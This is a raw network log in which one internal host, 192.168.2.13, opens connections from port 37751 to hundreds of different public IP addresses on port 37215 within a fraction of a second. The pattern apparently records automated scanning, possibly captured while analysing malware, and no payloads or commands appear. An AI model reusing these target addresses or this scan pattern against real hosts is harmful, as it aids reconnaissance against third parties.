Jan 1, 2024 12:51:46.988523960 CET	37751	37215	192.168.2.13	181.74.101.74
Jan 1, 2024 12:51:46.988533020 CET	37751	37215	192.168.2.13	102.110.213.247
Jan 1, 2024 12:51:46.988533020 CET	37751	37215	192.168.2.13	156.87.213.114
Jan 1, 2024 12:51:46.988540888 CET	37751	37215	192.168.2.13	197.196.189.68
Jan 1, 2024 12:51:46.988547087 CET	37751	37215	192.168.2.13	102.253.106.237
Jan 1, 2024 12:51:46.988553047 CET	37751	37215	192.168.2.13	122.48.95.90
Jan 1, 2024 12:51:46.988560915 CET	37751	37215	192.168.2.13	156.137.18.5
Jan 1, 2024 12:51:46.988560915 CET	37751	37215	192.168.2.13	41.79.15.231
Jan 1, 2024 12:51:46.988567114 CET	37751	37215	192.168.2.13	102.234.100.87
Jan 1, 2024 12:51:46.988569975 CET	37751	37215	192.168.2.13	41.157.129.200
Jan 1, 2024 12:51:46.988586903 CET	37751	37215	192.168.2.13	102.66.49.59
Jan 1, 2024 12:51:46.988588095 CET	37751	37215	192.168.2.13	41.227.217.177
Jan 1, 2024 12:51:46.988594055 CET	37751	37215	192.168.2.13	160.167.224.150
Jan 1, 2024 12:51:46.988595963 CET	37751	37215	192.168.2.13	41.229.71.67
Jan 1, 2024 12:51:46.988620043 CET	37751	37215	192.168.2.13	41.172.20.67
Jan 1, 2024 12:51:46.988620043 CET	37751	37215	192.168.2.13	196.15.147.248
Jan 1, 2024 12:51:46.988626957 CET	37751	37215	192.168.2.13	156.174.147.199
Jan 1, 2024 12:51:46.988626957 CET	37751	37215	192.168.2.13	37.199.193.93
Jan 1, 2024 12:51:46.988630056 CET	37751	37215	192.168.2.13	41.248.104.121
Jan 1, 2024 12:51:46.988627911 CET	37751	37215	192.168.2.13	197.100.213.22
Jan 1, 2024 12:51:46.988639116 CET	37751	37215	192.168.2.13	121.42.255.189
Jan 1, 2024 12:51:46.988639116 CET	37751	37215	192.168.2.13	156.243.211.79
Jan 1, 2024 12:51:46.988640070 CET	37751	37215	192.168.2.13	156.68.62.31
Jan 1, 2024 12:51:46.988640070 CET	37751	37215	192.168.2.13	197.219.5.6
Jan 1, 2024 12:51:46.988640070 CET	37751	37215	192.168.2.13	197.134.65.170
Jan 1, 2024 12:51:46.988640070 CET	37751	37215	192.168.2.13	160.187.231.159
Jan 1, 2024 12:51:46.988641024 CET	37751	37215	192.168.2.13	157.191.98.160
Jan 1, 2024 12:51:46.988641024 CET	37751	37215	192.168.2.13	41.199.176.220
Jan 1, 2024 12:51:46.988641024 CET	37751	37215	192.168.2.13	41.23.166.177
Jan 1, 2024 12:51:46.988641977 CET	37751	37215	192.168.2.13	156.237.153.149
Jan 1, 2024 12:51:46.988642931 CET	37751	37215	192.168.2.13	41.126.243.182
Jan 1, 2024 12:51:46.988645077 CET	37751	37215	192.168.2.13	222.186.201.194
Jan 1, 2024 12:51:46.988645077 CET	37751	37215	192.168.2.13	190.121.197.71
Jan 1, 2024 12:51:46.988642931 CET	37751	37215	192.168.2.13	156.226.235.200
Jan 1, 2024 12:51:46.988647938 CET	37751	37215	192.168.2.13	156.255.214.108
Jan 1, 2024 12:51:46.988647938 CET	37751	37215	192.168.2.13	156.185.239.152
Jan 1, 2024 12:51:46.988648891 CET	37751	37215	192.168.2.13	222.242.101.63
Jan 1, 2024 12:51:46.988647938 CET	37751	37215	192.168.2.13	41.251.104.209
Jan 1, 2024 12:51:46.988651991 CET	37751	37215	192.168.2.13	94.59.9.222
Jan 1, 2024 12:51:46.988651991 CET	37751	37215	192.168.2.13	154.83.61.71
Jan 1, 2024 12:51:46.988651991 CET	37751	37215	192.168.2.13	197.238.0.215
Jan 1, 2024 12:51:46.988673925 CET	37751	37215	192.168.2.13	41.35.55.1
Jan 1, 2024 12:51:46.988684893 CET	37751	37215	192.168.2.13	197.164.135.146
Jan 1, 2024 12:51:46.988688946 CET	37751	37215	192.168.2.13	120.79.190.77
Jan 1, 2024 12:51:46.988693953 CET	37751	37215	192.168.2.13	41.49.115.118
Jan 1, 2024 12:51:46.988696098 CET	37751	37215	192.168.2.13	156.214.202.219
Jan 1, 2024 12:51:46.988699913 CET	37751	37215	192.168.2.13	196.154.186.174
Jan 1, 2024 12:51:46.988706112 CET	37751	37215	192.168.2.13	156.81.108.21
Jan 1, 2024 12:51:46.988708973 CET	37751	37215	192.168.2.13	41.38.180.230
Jan 1, 2024 12:51:46.988714933 CET	37751	37215	192.168.2.13	107.183.205.82
Jan 1, 2024 12:51:46.988723993 CET	37751	37215	192.168.2.13	197.24.155.3
Jan 1, 2024 12:51:46.988727093 CET	37751	37215	192.168.2.13	197.80.32.220
Jan 1, 2024 12:51:46.988738060 CET	37751	37215	192.168.2.13	197.177.30.139
Jan 1, 2024 12:51:46.988738060 CET	37751	37215	192.168.2.13	94.129.55.106
Jan 1, 2024 12:51:46.988744974 CET	37751	37215	192.168.2.13	157.64.59.178
Jan 1, 2024 12:51:46.988748074 CET	37751	37215	192.168.2.13	197.175.122.142
Jan 1, 2024 12:51:46.988748074 CET	37751	37215	192.168.2.13	121.129.47.236
Jan 1, 2024 12:51:46.988749027 CET	37751	37215	192.168.2.13	156.81.95.103
Jan 1, 2024 12:51:46.988749027 CET	37751	37215	192.168.2.13	197.77.36.86
Jan 1, 2024 12:51:46.988758087 CET	37751	37215	192.168.2.13	157.31.80.239
Jan 1, 2024 12:51:46.988758087 CET	37751	37215	192.168.2.13	41.244.114.224
Jan 1, 2024 12:51:46.988771915 CET	37751	37215	192.168.2.13	41.221.106.248
Jan 1, 2024 12:51:46.988782883 CET	37751	37215	192.168.2.13	197.19.128.200
Jan 1, 2024 12:51:46.988784075 CET	37751	37215	192.168.2.13	154.202.17.102
Jan 1, 2024 12:51:46.988784075 CET	37751	37215	192.168.2.13	41.114.59.193
Jan 1, 2024 12:51:46.988787889 CET	37751	37215	192.168.2.13	41.210.231.26
Jan 1, 2024 12:51:46.988787889 CET	37751	37215	192.168.2.13	197.142.206.205
Jan 1, 2024 12:51:46.988792896 CET	37751	37215	192.168.2.13	160.89.161.150
Jan 1, 2024 12:51:46.988806963 CET	37751	37215	192.168.2.13	37.91.171.88
Jan 1, 2024 12:51:46.988807917 CET	37751	37215	192.168.2.13	94.88.194.36
Jan 1, 2024 12:51:46.988807917 CET	37751	37215	192.168.2.13	197.244.189.205
Jan 1, 2024 12:51:46.988807917 CET	37751	37215	192.168.2.13	156.21.52.244
Jan 1, 2024 12:51:46.988811016 CET	37751	37215	192.168.2.13	156.211.248.60
Jan 1, 2024 12:51:46.988816023 CET	37751	37215	192.168.2.13	154.4.252.210
Jan 1, 2024 12:51:46.988816023 CET	37751	37215	192.168.2.13	156.209.178.240
Jan 1, 2024 12:51:46.988816023 CET	37751	37215	192.168.2.13	41.99.239.2
Jan 1, 2024 12:51:46.988817930 CET	37751	37215	192.168.2.13	41.230.243.62
Jan 1, 2024 12:51:46.988818884 CET	37751	37215	192.168.2.13	197.49.175.11
Jan 1, 2024 12:51:46.988828897 CET	37751	37215	192.168.2.13	156.101.233.205
Jan 1, 2024 12:51:46.988837004 CET	37751	37215	192.168.2.13	41.206.132.115
Jan 1, 2024 12:51:46.988837004 CET	37751	37215	192.168.2.13	41.81.216.150
Jan 1, 2024 12:51:46.988841057 CET	37751	37215	192.168.2.13	41.207.216.111
Jan 1, 2024 12:51:46.988841057 CET	37751	37215	192.168.2.13	156.246.112.250
Jan 1, 2024 12:51:46.988848925 CET	37751	37215	192.168.2.13	41.177.178.242
Jan 1, 2024 12:51:46.988853931 CET	37751	37215	192.168.2.13	197.94.73.115
Jan 1, 2024 12:51:46.988861084 CET	37751	37215	192.168.2.13	190.153.173.120
Jan 1, 2024 12:51:46.988862038 CET	37751	37215	192.168.2.13	154.229.47.14
Jan 1, 2024 12:51:46.988878012 CET	37751	37215	192.168.2.13	186.248.88.135
Jan 1, 2024 12:51:46.988879919 CET	37751	37215	192.168.2.13	156.221.159.234
Jan 1, 2024 12:51:46.988879919 CET	37751	37215	192.168.2.13	41.240.105.80
Jan 1, 2024 12:51:46.988882065 CET	37751	37215	192.168.2.13	45.247.139.68
Jan 1, 2024 12:51:46.988887072 CET	37751	37215	192.168.2.13	41.228.18.103
Jan 1, 2024 12:51:46.988888025 CET	37751	37215	192.168.2.13	156.95.208.68
Jan 1, 2024 12:51:46.988894939 CET	37751	37215	192.168.2.13	120.226.83.65
Jan 1, 2024 12:51:46.988894939 CET	37751	37215	192.168.2.13	41.20.187.243
Jan 1, 2024 12:51:46.988904953 CET	37751	37215	192.168.2.13	102.131.80.254
Jan 1, 2024 12:51:46.988908052 CET	37751	37215	192.168.2.13	41.93.211.49
Jan 1, 2024 12:51:46.988914013 CET	37751	37215	192.168.2.13	41.216.134.199
Jan 1, 2024 12:51:46.988919020 CET	37751	37215	192.168.2.13	41.230.40.205
Jan 1, 2024 12:51:46.988924026 CET	37751	37215	192.168.2.13	102.105.221.146
Jan 1, 2024 12:51:46.988926888 CET	37751	37215	192.168.2.13	94.144.187.205
Jan 1, 2024 12:51:46.988931894 CET	37751	37215	192.168.2.13	156.44.12.247
Jan 1, 2024 12:51:46.988933086 CET	37751	37215	192.168.2.13	107.193.230.250
Jan 1, 2024 12:51:46.988934994 CET	37751	37215	192.168.2.13	222.245.221.248
Jan 1, 2024 12:51:46.988936901 CET	37751	37215	192.168.2.13	197.15.82.84
Jan 1, 2024 12:51:46.988955975 CET	37751	37215	192.168.2.13	181.241.123.161
Jan 1, 2024 12:51:46.988955975 CET	37751	37215	192.168.2.13	154.231.1.46
Jan 1, 2024 12:51:46.988959074 CET	37751	37215	192.168.2.13	41.37.212.72
Jan 1, 2024 12:51:46.988959074 CET	37751	37215	192.168.2.13	41.139.207.191
Jan 1, 2024 12:51:46.988961935 CET	37751	37215	192.168.2.13	156.79.247.44
Jan 1, 2024 12:51:46.988964081 CET	37751	37215	192.168.2.13	95.159.137.96
Jan 1, 2024 12:51:46.988966942 CET	37751	37215	192.168.2.13	156.163.48.13
Jan 1, 2024 12:51:46.988966942 CET	37751	37215	192.168.2.13	197.29.177.43
Jan 1, 2024 12:51:46.988971949 CET	37751	37215	192.168.2.13	196.183.19.62
Jan 1, 2024 12:51:46.988986015 CET	37751	37215	192.168.2.13	197.1.11.80
Jan 1, 2024 12:51:46.988987923 CET	37751	37215	192.168.2.13	107.197.241.160
Jan 1, 2024 12:51:46.988987923 CET	37751	37215	192.168.2.13	41.69.164.251
Jan 1, 2024 12:51:46.988995075 CET	37751	37215	192.168.2.13	190.35.203.0
Jan 1, 2024 12:51:46.989001989 CET	37751	37215	192.168.2.13	156.134.225.31
Jan 1, 2024 12:51:46.989003897 CET	37751	37215	192.168.2.13	156.99.18.5
Jan 1, 2024 12:51:46.989010096 CET	37751	37215	192.168.2.13	156.21.8.175
Jan 1, 2024 12:51:46.989015102 CET	37751	37215	192.168.2.13	156.127.137.195
Jan 1, 2024 12:51:46.989027977 CET	37751	37215	192.168.2.13	138.17.126.240
Jan 1, 2024 12:51:46.989031076 CET	37751	37215	192.168.2.13	41.207.240.131
Jan 1, 2024 12:51:46.989032030 CET	37751	37215	192.168.2.13	156.135.134.215
Jan 1, 2024 12:51:46.989034891 CET	37751	37215	192.168.2.13	156.138.14.142
Jan 1, 2024 12:51:46.989042044 CET	37751	37215	192.168.2.13	156.95.21.251
Jan 1, 2024 12:51:46.989044905 CET	37751	37215	192.168.2.13	156.128.12.57
Jan 1, 2024 12:51:46.989049911 CET	37751	37215	192.168.2.13	95.104.137.152
Jan 1, 2024 12:51:46.989061117 CET	37751	37215	192.168.2.13	190.12.182.151
Jan 1, 2024 12:51:46.989063978 CET	37751	37215	192.168.2.13	156.249.9.173
Jan 1, 2024 12:51:46.989072084 CET	37751	37215	192.168.2.13	41.197.213.19
Jan 1, 2024 12:51:46.989078045 CET	37751	37215	192.168.2.13	197.130.81.27
Jan 1, 2024 12:51:46.989078045 CET	37751	37215	192.168.2.13	157.128.8.61
Jan 1, 2024 12:51:46.989087105 CET	37751	37215	192.168.2.13	181.105.217.38
Jan 1, 2024 12:51:46.989093065 CET	37751	37215	192.168.2.13	120.53.238.234
Jan 1, 2024 12:51:46.989097118 CET	37751	37215	192.168.2.13	197.133.223.118
Jan 1, 2024 12:51:46.989108086 CET	37751	37215	192.168.2.13	156.52.152.178
Jan 1, 2024 12:51:46.989108086 CET	37751	37215	192.168.2.13	37.148.170.214
Jan 1, 2024 12:51:46.989114046 CET	37751	37215	192.168.2.13	156.46.58.199
Jan 1, 2024 12:51:46.989115000 CET	37751	37215	192.168.2.13	156.32.201.71
Jan 1, 2024 12:51:46.989120960 CET	37751	37215	192.168.2.13	197.242.228.148
Jan 1, 2024 12:51:46.989124060 CET	37751	37215	192.168.2.13	197.88.125.38
Jan 1, 2024 12:51:46.989124060 CET	37751	37215	192.168.2.13	41.64.111.14
Jan 1, 2024 12:51:46.989135981 CET	37751	37215	192.168.2.13	156.59.67.108
Jan 1, 2024 12:51:46.989136934 CET	37751	37215	192.168.2.13	197.166.200.121
Jan 1, 2024 12:51:46.989140034 CET	37751	37215	192.168.2.13	156.234.189.179
Jan 1, 2024 12:51:46.989149094 CET	37751	37215	192.168.2.13	160.41.10.36
Jan 1, 2024 12:51:46.989149094 CET	37751	37215	192.168.2.13	94.65.160.45
Jan 1, 2024 12:51:46.989151955 CET	37751	37215	192.168.2.13	181.58.138.9
Jan 1, 2024 12:51:46.989162922 CET	37751	37215	192.168.2.13	102.249.71.192
Jan 1, 2024 12:51:46.989164114 CET	37751	37215	192.168.2.13	154.190.72.101
Jan 1, 2024 12:51:46.989162922 CET	37751	37215	192.168.2.13	156.42.84.230
Jan 1, 2024 12:51:46.989165068 CET	37751	37215	192.168.2.13	121.232.233.151
Jan 1, 2024 12:51:46.989178896 CET	37751	37215	192.168.2.13	45.5.214.74
Jan 1, 2024 12:51:46.989178896 CET	37751	37215	192.168.2.13	222.168.95.173
Jan 1, 2024 12:51:46.989180088 CET	37751	37215	192.168.2.13	197.210.83.177
Jan 1, 2024 12:51:46.989187956 CET	37751	37215	192.168.2.13	37.63.235.242
Jan 1, 2024 12:51:46.989187956 CET	37751	37215	192.168.2.13	197.195.28.140
Jan 1, 2024 12:51:46.989187956 CET	37751	37215	192.168.2.13	156.128.230.117
Jan 1, 2024 12:51:46.989187956 CET	37751	37215	192.168.2.13	95.229.93.121
Jan 1, 2024 12:51:46.989191055 CET	37751	37215	192.168.2.13	197.192.170.249
Jan 1, 2024 12:51:46.989191055 CET	37751	37215	192.168.2.13	94.8.194.40
Jan 1, 2024 12:51:46.989192009 CET	37751	37215	192.168.2.13	154.201.19.68
Jan 1, 2024 12:51:46.989192009 CET	37751	37215	192.168.2.13	196.133.46.12
Jan 1, 2024 12:51:46.989196062 CET	37751	37215	192.168.2.13	156.106.5.39
Jan 1, 2024 12:51:46.989200115 CET	37751	37215	192.168.2.13	156.130.105.213
Jan 1, 2024 12:51:46.989204884 CET	37751	37215	192.168.2.13	156.38.123.130
Jan 1, 2024 12:51:46.989208937 CET	37751	37215	192.168.2.13	154.25.183.30
Jan 1, 2024 12:51:46.989208937 CET	37751	37215	192.168.2.13	41.148.21.151
Jan 1, 2024 12:51:46.989209890 CET	37751	37215	192.168.2.13	45.47.123.123
Jan 1, 2024 12:51:46.989211082 CET	37751	37215	192.168.2.13	41.58.191.158
Jan 1, 2024 12:51:46.989226103 CET	37751	37215	192.168.2.13	156.78.178.97
Jan 1, 2024 12:51:46.989228010 CET	37751	37215	192.168.2.13	122.128.247.73
Jan 1, 2024 12:51:46.989228964 CET	37751	37215	192.168.2.13	41.44.197.99
Jan 1, 2024 12:51:46.989232063 CET	37751	37215	192.168.2.13	197.198.228.63
Jan 1, 2024 12:51:46.989232063 CET	37751	37215	192.168.2.13	156.218.131.230
Jan 1, 2024 12:51:46.989236116 CET	37751	37215	192.168.2.13	156.162.108.205
Jan 1, 2024 12:51:46.989236116 CET	37751	37215	192.168.2.13	197.42.217.17
Jan 1, 2024 12:51:46.989237070 CET	37751	37215	192.168.2.13	102.21.164.117
Jan 1, 2024 12:51:46.989237070 CET	37751	37215	192.168.2.13	41.227.19.42
Jan 1, 2024 12:51:46.989238024 CET	37751	37215	192.168.2.13	181.244.151.4
Jan 1, 2024 12:51:46.989243031 CET	37751	37215	192.168.2.13	41.69.195.154
Jan 1, 2024 12:51:46.989243031 CET	37751	37215	192.168.2.13	156.153.192.117
Jan 1, 2024 12:51:46.989245892 CET	37751	37215	192.168.2.13	92.250.172.139
Jan 1, 2024 12:51:46.989248037 CET	37751	37215	192.168.2.13	41.116.40.180
Jan 1, 2024 12:51:46.989255905 CET	37751	37215	192.168.2.13	41.108.2.125
Jan 1, 2024 12:51:46.989260912 CET	37751	37215	192.168.2.13	138.78.122.67
Jan 1, 2024 12:51:46.989264011 CET	37751	37215	192.168.2.13	197.220.48.27
Jan 1, 2024 12:51:46.989274025 CET	37751	37215	192.168.2.13	156.22.126.149
Jan 1, 2024 12:51:46.989274025 CET	37751	37215	192.168.2.13	41.83.245.78
Jan 1, 2024 12:51:46.989274025 CET	37751	37215	192.168.2.13	222.226.110.119
Jan 1, 2024 12:51:46.989276886 CET	37751	37215	192.168.2.13	156.50.236.155
Jan 1, 2024 12:51:46.989284992 CET	37751	37215	192.168.2.13	186.45.38.66
Jan 1, 2024 12:51:46.989284992 CET	37751	37215	192.168.2.13	197.80.163.27
Jan 1, 2024 12:51:46.989293098 CET	37751	37215	192.168.2.13	41.14.37.77
Jan 1, 2024 12:51:46.989294052 CET	37751	37215	192.168.2.13	41.117.135.217
Jan 1, 2024 12:51:46.989303112 CET	37751	37215	192.168.2.13	92.16.195.72
Jan 1, 2024 12:51:46.989309072 CET	37751	37215	192.168.2.13	222.46.23.53
Jan 1, 2024 12:51:46.989310980 CET	37751	37215	192.168.2.13	92.147.87.115
Jan 1, 2024 12:51:46.989325047 CET	37751	37215	192.168.2.13	156.141.22.214
Jan 1, 2024 12:51:46.989331007 CET	37751	37215	192.168.2.13	156.195.4.237
Jan 1, 2024 12:51:46.989332914 CET	37751	37215	192.168.2.13	156.78.77.39
Jan 1, 2024 12:51:46.989334106 CET	37751	37215	192.168.2.13	41.156.175.157
Jan 1, 2024 12:51:46.989335060 CET	37751	37215	192.168.2.13	156.3.94.181
Jan 1, 2024 12:51:46.989345074 CET	37751	37215	192.168.2.13	156.8.165.125
Jan 1, 2024 12:51:46.989347935 CET	37751	37215	192.168.2.13	121.37.189.49
Jan 1, 2024 12:51:46.989360094 CET	37751	37215	192.168.2.13	122.203.107.42
Jan 1, 2024 12:51:46.989368916 CET	37751	37215	192.168.2.13	41.181.84.48
Jan 1, 2024 12:51:46.989371061 CET	37751	37215	192.168.2.13	197.157.114.198
Jan 1, 2024 12:51:46.989372015 CET	37751	37215	192.168.2.13	156.114.26.205
Jan 1, 2024 12:51:46.989372015 CET	37751	37215	192.168.2.13	156.82.82.68
Jan 1, 2024 12:51:46.989372969 CET	37751	37215	192.168.2.13	160.90.215.33
Jan 1, 2024 12:51:46.989376068 CET	37751	37215	192.168.2.13	197.6.80.88
Jan 1, 2024 12:51:46.989376068 CET	37751	37215	192.168.2.13	156.214.231.148
Jan 1, 2024 12:51:46.989382029 CET	37751	37215	192.168.2.13	157.176.236.96
Jan 1, 2024 12:51:46.989382029 CET	37751	37215	192.168.2.13	138.244.159.234
Jan 1, 2024 12:51:46.989382982 CET	37751	37215	192.168.2.13	197.131.161.2
Jan 1, 2024 12:51:46.989392996 CET	37751	37215	192.168.2.13	45.219.57.95
Jan 1, 2024 12:51:46.989401102 CET	37751	37215	192.168.2.13	156.199.216.134
Jan 1, 2024 12:51:46.989401102 CET	37751	37215	192.168.2.13	160.75.162.54
Jan 1, 2024 12:51:46.989401102 CET	37751	37215	192.168.2.13	41.150.18.112
Jan 1, 2024 12:51:46.989415884 CET	37751	37215	192.168.2.13	156.205.109.39
Jan 1, 2024 12:51:46.989423990 CET	37751	37215	192.168.2.13	156.164.164.194
Jan 1, 2024 12:51:46.989427090 CET	37751	37215	192.168.2.13	197.80.241.248
Jan 1, 2024 12:51:46.989427090 CET	37751	37215	192.168.2.13	41.86.188.97
Jan 1, 2024 12:51:46.989427090 CET	37751	37215	192.168.2.13	41.207.137.225
Jan 1, 2024 12:51:46.989427090 CET	37751	37215	192.168.2.13	197.184.87.230
Jan 1, 2024 12:51:46.989427090 CET	37751	37215	192.168.2.13	197.54.123.121
Jan 1, 2024 12:51:46.989430904 CET	37751	37215	192.168.2.13	156.156.254.113
Jan 1, 2024 12:51:46.989434004 CET	37751	37215	192.168.2.13	41.153.234.238
Jan 1, 2024 12:51:46.989444017 CET	37751	37215	192.168.2.13	41.183.195.2
Jan 1, 2024 12:51:46.989444017 CET	37751	37215	192.168.2.13	156.22.142.11
Jan 1, 2024 12:51:46.989444017 CET	37751	37215	192.168.2.13	37.217.129.188
Jan 1, 2024 12:51:46.989453077 CET	37751	37215	192.168.2.13	156.75.133.224
Jan 1, 2024 12:51:46.989453077 CET	37751	37215	192.168.2.13	94.46.85.116
Jan 1, 2024 12:51:46.989453077 CET	37751	37215	192.168.2.13	156.189.227.75
Jan 1, 2024 12:51:46.989454985 CET	37751	37215	192.168.2.13	196.236.131.98
Jan 1, 2024 12:51:46.989459038 CET	37751	37215	192.168.2.13	181.170.244.115
Jan 1, 2024 12:51:46.989465952 CET	37751	37215	192.168.2.13	154.15.241.163
Jan 1, 2024 12:51:46.989473104 CET	37751	37215	192.168.2.13	121.20.209.74
Jan 1, 2024 12:51:46.989475965 CET	37751	37215	192.168.2.13	197.206.8.121
Jan 1, 2024 12:51:46.989475965 CET	37751	37215	192.168.2.13	120.193.34.105
Jan 1, 2024 12:51:46.989476919 CET	37751	37215	192.168.2.13	197.198.130.169
Jan 1, 2024 12:51:46.989476919 CET	37751	37215	192.168.2.13	156.231.175.20
Jan 1, 2024 12:51:46.989479065 CET	37751	37215	192.168.2.13	156.57.4.46
Jan 1, 2024 12:51:46.989492893 CET	37751	37215	192.168.2.13	197.185.28.67
Jan 1, 2024 12:51:46.989492893 CET	37751	37215	192.168.2.13	156.203.76.116
Jan 1, 2024 12:51:46.989495039 CET	37751	37215	192.168.2.13	41.165.83.189
Jan 1, 2024 12:51:46.989506006 CET	37751	37215	192.168.2.13	197.33.104.202
Jan 1, 2024 12:51:46.989510059 CET	37751	37215	192.168.2.13	41.127.75.68
Jan 1, 2024 12:51:46.989511013 CET	37751	37215	192.168.2.13	41.110.251.125
Jan 1, 2024 12:51:46.989517927 CET	37751	37215	192.168.2.13	154.245.168.184
Jan 1, 2024 12:51:46.989526033 CET	37751	37215	192.168.2.13	94.82.207.3
Jan 1, 2024 12:51:46.989526987 CET	37751	37215	192.168.2.13	156.169.41.61
Jan 1, 2024 12:51:46.989531994 CET	37751	37215	192.168.2.13	122.159.249.226
Jan 1, 2024 12:51:46.989532948 CET	37751	37215	192.168.2.13	197.106.19.189
Jan 1, 2024 12:51:46.989541054 CET	37751	37215	192.168.2.13	186.35.60.84
Jan 1, 2024 12:51:46.989550114 CET	37751	37215	192.168.2.13	102.22.23.114
Jan 1, 2024 12:51:46.989550114 CET	37751	37215	192.168.2.13	41.115.136.149
Jan 1, 2024 12:51:46.989551067 CET	37751	37215	192.168.2.13	197.240.164.50
Jan 1, 2024 12:51:46.989551067 CET	37751	37215	192.168.2.13	41.182.74.159
Jan 1, 2024 12:51:46.989556074 CET	37751	37215	192.168.2.13	197.180.246.146
Jan 1, 2024 12:51:46.989556074 CET	37751	37215	192.168.2.13	197.42.142.143
Jan 1, 2024 12:51:46.989558935 CET	37751	37215	192.168.2.13	197.9.54.232
Jan 1, 2024 12:51:46.989559889 CET	37751	37215	192.168.2.13	197.10.222.67
Jan 1, 2024 12:51:46.989571095 CET	37751	37215	192.168.2.13	156.186.186.93
Jan 1, 2024 12:51:46.989571095 CET	37751	37215	192.168.2.13	156.78.9.47
Jan 1, 2024 12:51:46.989581108 CET	37751	37215	192.168.2.13	181.105.196.98
Jan 1, 2024 12:51:46.989590883 CET	37751	37215	192.168.2.13	197.210.133.105
Jan 1, 2024 12:51:46.989593029 CET	37751	37215	192.168.2.13	197.213.167.167
Jan 1, 2024 12:51:46.989604950 CET	37751	37215	192.168.2.13	121.247.2.210
Jan 1, 2024 12:51:46.989604950 CET	37751	37215	192.168.2.13	156.246.83.181
Jan 1, 2024 12:51:46.989607096 CET	37751	37215	192.168.2.13	197.43.13.173
Jan 1, 2024 12:51:46.989614010 CET	37751	37215	192.168.2.13	41.121.200.86
Jan 1, 2024 12:51:46.989614010 CET	37751	37215	192.168.2.13	37.178.155.162
Jan 1, 2024 12:51:46.989617109 CET	37751	37215	192.168.2.13	160.32.11.104
Jan 1, 2024 12:51:46.989629984 CET	37751	37215	192.168.2.13	197.230.173.181
Jan 1, 2024 12:51:46.989630938 CET	37751	37215	192.168.2.13	41.252.63.104
Jan 1, 2024 12:51:46.989631891 CET	37751	37215	192.168.2.13	45.59.0.227
Jan 1, 2024 12:51:46.989639044 CET	37751	37215	192.168.2.13	120.130.113.83
Jan 1, 2024 12:51:46.989659071 CET	37751	37215	192.168.2.13	41.162.236.2
Jan 1, 2024 12:51:46.989659071 CET	37751	37215	192.168.2.13	197.229.100.113
Jan 1, 2024 12:51:46.989659071 CET	37751	37215	192.168.2.13	37.114.49.216
Jan 1, 2024 12:51:46.989662886 CET	37751	37215	192.168.2.13	94.18.57.102
Jan 1, 2024 12:51:46.989666939 CET	37751	37215	192.168.2.13	197.32.208.137
Jan 1, 2024 12:51:46.989666939 CET	37751	37215	192.168.2.13	156.28.107.144
Jan 1, 2024 12:51:46.989672899 CET	37751	37215	192.168.2.13	107.156.187.148
Jan 1, 2024 12:51:46.989672899 CET	37751	37215	192.168.2.13	41.190.162.181
Jan 1, 2024 12:51:46.989681005 CET	37751	37215	192.168.2.13	190.232.187.80
Jan 1, 2024 12:51:46.989691973 CET	37751	37215	192.168.2.13	41.28.110.195
Jan 1, 2024 12:51:46.989692926 CET	37751	37215	192.168.2.13	41.80.204.178
Jan 1, 2024 12:51:46.989694118 CET	37751	37215	192.168.2.13	122.5.28.115
Jan 1, 2024 12:51:46.989695072 CET	37751	37215	192.168.2.13	41.231.229.97
Jan 1, 2024 12:51:46.989698887 CET	37751	37215	192.168.2.13	222.155.145.157
Jan 1, 2024 12:51:46.989702940 CET	37751	37215	192.168.2.13	197.234.236.114
Jan 1, 2024 12:51:46.989702940 CET	37751	37215	192.168.2.13	156.253.93.83
Jan 1, 2024 12:51:46.989706039 CET	37751	37215	192.168.2.13	41.115.122.26
Jan 1, 2024 12:51:46.989715099 CET	37751	37215	192.168.2.13	41.154.208.22
Jan 1, 2024 12:51:46.989718914 CET	37751	37215	192.168.2.13	156.73.113.46
Jan 1, 2024 12:51:46.989727020 CET	37751	37215	192.168.2.13	156.86.102.15
Jan 1, 2024 12:51:46.989731073 CET	37751	37215	192.168.2.13	181.66.53.238
Jan 1, 2024 12:51:46.989739895 CET	37751	37215	192.168.2.13	41.93.185.132
Jan 1, 2024 12:51:46.989744902 CET	37751	37215	192.168.2.13	156.249.108.202
Jan 1, 2024 12:51:46.989752054 CET	37751	37215	192.168.2.13	156.32.189.57
Jan 1, 2024 12:51:46.989757061 CET	37751	37215	192.168.2.13	45.49.23.117
Jan 1, 2024 12:51:46.989761114 CET	37751	37215	192.168.2.13	197.77.30.249
Jan 1, 2024 12:51:46.989762068 CET	37751	37215	192.168.2.13	41.8.109.236
Jan 1, 2024 12:51:46.989768982 CET	37751	37215	192.168.2.13	156.105.50.117
Jan 1, 2024 12:51:46.989778042 CET	37751	37215	192.168.2.13	120.1.96.31
Jan 1, 2024 12:51:46.989778042 CET	37751	37215	192.168.2.13	156.37.171.66
Jan 1, 2024 12:51:46.989788055 CET	37751	37215	192.168.2.13	41.238.74.106
Jan 1, 2024 12:51:46.989793062 CET	37751	37215	192.168.2.13	41.112.20.106
Jan 1, 2024 12:51:46.989793062 CET	37751	37215	192.168.2.13	156.206.168.214
Jan 1, 2024 12:51:46.989799023 CET	37751	37215	192.168.2.13	156.18.207.94
Jan 1, 2024 12:51:46.989808083 CET	37751	37215	192.168.2.13	41.240.18.66
Jan 1, 2024 12:51:46.989809036 CET	37751	37215	192.168.2.13	41.92.180.143
Jan 1, 2024 12:51:46.989809036 CET	37751	37215	192.168.2.13	156.151.140.166
Jan 1, 2024 12:51:46.989821911 CET	37751	37215	192.168.2.13	41.135.67.184
Jan 1, 2024 12:51:46.989824057 CET	37751	37215	192.168.2.13	196.223.86.215
Jan 1, 2024 12:51:46.989829063 CET	37751	37215	192.168.2.13	197.56.61.88
Jan 1, 2024 12:51:46.989830017 CET	37751	37215	192.168.2.13	197.217.200.34
Jan 1, 2024 12:51:46.989839077 CET	37751	37215	192.168.2.13	41.176.33.78
Jan 1, 2024 12:51:46.989839077 CET	37751	37215	192.168.2.13	197.255.53.165
Jan 1, 2024 12:51:46.989844084 CET	37751	37215	192.168.2.13	197.63.14.173
Jan 1, 2024 12:51:46.989852905 CET	37751	37215	192.168.2.13	197.205.40.30
Jan 1, 2024 12:51:46.989852905 CET	37751	37215	192.168.2.13	121.141.144.29
Jan 1, 2024 12:51:46.989852905 CET	37751	37215	192.168.2.13	156.48.203.119
Jan 1, 2024 12:51:46.989855051 CET	37751	37215	192.168.2.13	102.131.102.231
Jan 1, 2024 12:51:46.989855051 CET	37751	37215	192.168.2.13	156.184.124.34
Jan 1, 2024 12:51:46.989862919 CET	37751	37215	192.168.2.13	41.178.218.203
Jan 1, 2024 12:51:46.989862919 CET	37751	37215	192.168.2.13	197.233.17.144
Jan 1, 2024 12:51:46.989870071 CET	37751	37215	192.168.2.13	41.82.81.13
